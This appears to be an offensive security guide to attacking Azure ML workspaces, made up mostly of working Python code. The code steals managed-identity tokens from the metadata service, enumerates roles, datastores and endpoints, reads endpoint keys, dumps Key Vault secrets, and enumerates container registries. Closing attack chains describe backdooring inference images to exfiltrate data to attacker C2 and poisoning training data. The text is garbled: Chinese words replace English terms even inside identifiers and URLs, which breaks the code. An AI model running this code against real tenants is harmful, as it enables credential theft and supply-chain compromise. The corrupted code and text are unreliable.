Azure ML 攻擊 Surface

import requests
 
# From inside an Azure ML compute instance
# Get 符元 for the managed identity
token_url = "http://169.254.169.254/metadata/identity/oauth2/符元"
params = {
    "api-version": "2018-02-01",
    "resource": "https://management.azure.com/"
}
headers = {"Metadata": "true"}
 
resp = requests.get(token_url, params=params, headers=headers)
符元 = resp.json()["access_token"]
 
# Use the 符元 to enumerate Azure resources
mgmt_url = "https://management.azure.com/subscriptions?api-version=2020-01-01"
subs = requests.get(mgmt_url, headers={"Authorization": f"Bearer {符元}"}).json()
for sub in subs.get("value", []):
    print(f"Subscription: {sub['displayName']} ({sub['subscriptionId']})")

import requests
 
def enumerate_role_assignments(符元, subscription_id):
    """Enumerate all role assignments for the current identity."""
    url = (
        f"https://management.azure.com/subscriptions/{subscription_id}"
        f"/providers/Microsoft.Authorization/roleAssignments"
        f"?api-version=2022-04-01"
    )
    headers = {"Authorization": f"Bearer {符元}"}
    resp = requests.get(url, headers=headers).json()
 
    for assignment in resp.get("value", []):
        props = assignment["properties"]
        print(f"Role: {props['roleDefinitionId'].split('/')[-1]}")
        print(f"  Scope: {props['scope']}")
        print(f"  Principal: {props['principalId']}")
        print()
 
def get_token_for_resource(resource_url):
    """Get a managed identity 符元 scoped to a specific resource."""
    resp = requests.get(
        "http://169.254.169.254/metadata/identity/oauth2/符元",
        params={"api-version": "2018-02-01", "resource": resource_url},
        headers={"Metadata": "true"}
    )
    return resp.json()["access_token"]
 
# Get 符元 for different Azure services
mgmt_token = get_token_for_resource("https://management.azure.com/")
storage_token = get_token_for_resource("https://storage.azure.com/")
vault_token = get_token_for_resource("https://vault.azure.net")
graph_token = get_token_for_resource("https://graph.microsoft.com/")

from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
# List all datastores
for ds in ml_client.datastores.list():
    print(f"Datastore: {ds.name} (type: {ds.type})")
    if hasattr(ds, 'account_name'):
        print(f"  Storage: {ds.account_name}/{ds.container_name}")
 
# List registered models
for model in ml_client.models.list():
    print(f"Model: {model.name} v{model.version}")

from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
# Get detailed datastore info including credential type
for ds in ml_client.datastores.list():
    detail = ml_client.datastores.get(ds.name)
    print(f"\nDatastore: {detail.name}")
    print(f"  Type: {detail.type}")
 
    # Check credential type -- account_key vs identity-based
    if hasattr(detail, 'credentials'):
        cred_type = type(detail.credentials).__name__
        print(f"  Credential type: {cred_type}")
 
    # For blob datastores, try to list contents
    if detail.type == "azure_blob":
        from azure.storage.blob import BlobServiceClient
        blob_client = BlobServiceClient(
            f"https://{detail.account_name}.blob.core.windows.net",
            credential=DefaultAzureCredential()
        )
        container = blob_client.get_container_client(detail.container_name)
        print(f"  Sample contents:")
        for blob in container.list_blobs(results_per_page=5):
            print(f"    {blob.name} ({blob.size} bytes)")
 
# Enumerate environments (container images used for 訓練/推論)
for env in ml_client.environments.list():
    print(f"Environment: {env.name} v{env.version}")
    if hasattr(env, 'image'):
        print(f"  Image: {env.image}")
 
# List compute targets -- potential pivot points
for compute in ml_client.compute.list():
    print(f"Compute: {compute.name} (type: {compute.type}, state: {compute.state})")

import requests
 
# 測試 if endpoint requires 認證
endpoint_url = "https://my-endpoint.westus2.推論.ml.azure.com/score"
 
# Attempt unauthenticated access
resp = requests.post(endpoint_url, json={"data": [[1,2,3]]})
print(f"No auth: {resp.status_code}")
 
# Attempt with a stolen/guessed key
resp = requests.post(
    endpoint_url,
    json={"data": [[1,2,3]]},
    headers={"Authorization": "Bearer <key>"}
)
print(f"With key: {resp.status_code}")

import requests
import json
 
def probe_endpoint(endpoint_url, keys=None):
    """Comprehensive endpoint 安全 評估."""
    results = {}
 
    # 測試 認證 modes
    results["no_auth"] = requests.post(
        endpoint_url, json={"data": [[1,2,3]]}
    ).status_code
 
    # 測試 with OPTIONS to check CORS
    results["cors"] = requests.options(endpoint_url).headers.get(
        "Access-Control-Allow-Origin", "not set"
    )
 
    # 測試 Swagger/OpenAPI endpoint (often exposed)
    swagger_url = endpoint_url.replace("/score", "/swagger.json")
    swagger_resp = requests.get(swagger_url)
    results["swagger_exposed"] = swagger_resp.status_code == 200
    if results["swagger_exposed"]:
        results["swagger_paths"] = list(swagger_resp.json().get("paths", {}).keys())
 
    # 測試 health endpoint
    health_url = endpoint_url.replace("/score", "/")
    results["health"] = requests.get(health_url).status_code
 
    # 測試 for verbose error messages (information disclosure)
    malformed_resp = requests.post(
        endpoint_url,
        data="not json",
        headers={"Content-Type": "application/json",
                 "Authorization": f"Bearer {keys[0]}" if keys else ""}
    )
    results["error_verbosity"] = len(malformed_resp.text)
    results["error_sample"] = malformed_resp.text[:500]
 
    return results
 
# Enumerate all endpoints and probe each
from azure.ai.ml import MLClient
from azure.identity import DefaultAzureCredential
 
ml_client = MLClient(
    DefaultAzureCredential(),
    subscription_id="...",
    resource_group_name="...",
    workspace_name="..."
)
 
for endpoint in ml_client.online_endpoints.list():
    print(f"\n=== Endpoint: {endpoint.name} ===")
    print(f"  Auth mode: {endpoint.auth_mode}")
    print(f"  Scoring URI: {endpoint.scoring_uri}")
 
    # Get endpoint keys if key-based auth
    if endpoint.auth_mode == "key":
        keys = ml_client.online_endpoints.get_keys(endpoint.name)
        print(f"  Primary key: {keys.primary_key[:10]}...")
        print(f"  Secondary key: {keys.secondary_key[:10]}...")

from azure.keyvault.secrets import SecretClient
from azure.identity import DefaultAzureCredential
 
# Azure ML workspaces have an associated Key Vault
kv_client = SecretClient(
    vault_url="https://my-workspace-kv.vault.azure.net/",
    credential=DefaultAzureCredential()
)
 
# List and read secrets
for secret in kv_client.list_properties_of_secrets():
    print(f"Secret: {secret.name}")
    value = kv_client.get_secret(secret.name)
    print(f"  Value: {value.value[:50]}...")

from azure.keyvault.secrets import SecretClient
from azure.keyvault.keys import KeyClient
from azure.keyvault.certificates import CertificateClient
from azure.identity import DefaultAzureCredential
 
credential = DefaultAzureCredential()
vault_url = "https://my-workspace-kv.vault.azure.net/"
 
# Enumerate secrets
secret_client = SecretClient(vault_url=vault_url, credential=credential)
print("=== Secrets ===")
for secret in secret_client.list_properties_of_secrets():
    print(f"  {secret.name} (enabled: {secret.enabled}, "
          f"created: {secret.created_on})")
    # Categorize by naming convention
    if any(kw in secret.name.lower() for kw in
           ['connection', 'storage', 'sql', 'password', 'key', '符元']):
        print(f"    [HIGH VALUE] Likely credential or connection string")
 
# Enumerate keys (used for encryption, signing)
key_client = KeyClient(vault_url=vault_url, credential=credential)
print("\n=== Keys ===")
for key in key_client.list_properties_of_keys():
    print(f"  {key.name} (type: {key.key_type}, ops: {key.allowed_operations})")
 
# Enumerate certificates
cert_client = CertificateClient(vault_url=vault_url, credential=credential)
print("\n=== Certificates ===")
for cert in cert_client.list_properties_of_certificates():
    print(f"  {cert.name} (expires: {cert.expires_on})")

import requests
 
def enumerate_acr(acr_name, 符元):
    """Enumerate repositories and images in Azure Container Registry."""
    acr_url = f"https://{acr_name}.azurecr.io"
    headers = {"Authorization": f"Bearer {符元}"}
 
    # Get ACR-specific 符元 using managed identity
    exchange_url = f"{acr_url}/oauth2/exchange"
    acr_token_resp = requests.post(exchange_url, data={
        "grant_type": "access_token",
        "service": f"{acr_name}.azurecr.io",
        "access_token": 符元
    })
    acr_token = acr_token_resp.json().get("refresh_token")
 
    # List repositories
    repos = requests.get(
        f"{acr_url}/v2/_catalog",
        headers={"Authorization": f"Bearer {acr_token}"}
    ).json()
 
    for repo in repos.get("repositories", []):
        print(f"Repository: {repo}")
        # List tags
        tags = requests.get(
            f"{acr_url}/v2/{repo}/tags/list",
            headers={"Authorization": f"Bearer {acr_token}"}
        ).json()
        for tag in tags.get("tags", [])[:5]:
            print(f"  Tag: {tag}")
            # Get manifest for image analysis
            manifest = requests.get(
                f"{acr_url}/v2/{repo}/manifests/{tag}",
                headers={
                    "Authorization": f"Bearer {acr_token}",
                    "Accept": "application/vnd.docker.distribution.manifest.v2+json"
                }
            ).json()
            print(f"  Layers: {len(manifest.get('layers', []))}")

import requests
 
def assess_network_isolation(符元, subscription_id, resource_group, workspace_name):
    """評估 whether an Azure ML workspace has proper network isolation."""
    base_url = "https://management.azure.com"
    headers = {"Authorization": f"Bearer {符元}"}
 
    # Get workspace details
    ws_url = (
        f"{base_url}/subscriptions/{subscription_id}"
        f"/resourceGroups/{resource_group}"
        f"/providers/Microsoft.MachineLearningServices"
        f"/workspaces/{workspace_name}"
        f"?api-version=2023-10-01"
    )
    ws = requests.get(ws_url, headers=headers).json()
 
    props = ws.get("properties", {})
    results = {
        "public_network_access": props.get("publicNetworkAccess", "Unknown"),
        "private_endpoints": [],
        "managed_network": props.get("managedNetwork", {}),
    }
 
    # Check for private endpoint connections
    pe_connections = props.get("privateEndpointConnections", [])
    for pe in pe_connections:
        pe_props = pe.get("properties", {})
        results["private_endpoints"].append({
            "name": pe.get("name"),
            "status": pe_props.get("privateLinkServiceConnectionState", {}).get("status")
        })
 
    # 評估 risk
    if results["public_network_access"] == "Enabled":
        print("[CRITICAL] Public network access is enabled")
    if not results["private_endpoints"]:
        print("[HIGH] No private endpoints configured")
 
    return results

1. Initial access via malicious notebook or compromised data scientist credentials
2. Extract managed identity 符元 from IMDS (169.254.169.254)
3. Enumerate role assignments to discover overprivileged identity
4. Access Key Vault secrets (storage keys, API credentials, connection strings)
5. Use storage keys to access blob containers across the subscription
6. Discover secrets in non-ML Key Vaults shared by the managed identity
7. Pivot to databases, APIs, or other services using extracted credentials

1. Enumerate ACR repositories via workspace managed identity
2. 識別 推論 container images used by production endpoints
3. Pull the target image, inject a 後門 (data exfiltration layer)
4. Push the modified image with the same tag (no immutability)
5. Trigger endpoint redeployment (or wait for next scheduled update)
6. Backdoored model now exfiltrates 推論 data to 攻擊者 C2

1. Access workspace via compromised compute instance
2. Enumerate datastores and 識別 訓練資料 locations
3. Modify 訓練資料 in blob storage to inject 後門 examples
4. Wait for scheduled retraining pipeline to execute
5. Backdoored model is registered in model registry
6. Backdoored model is deployed to production endpoint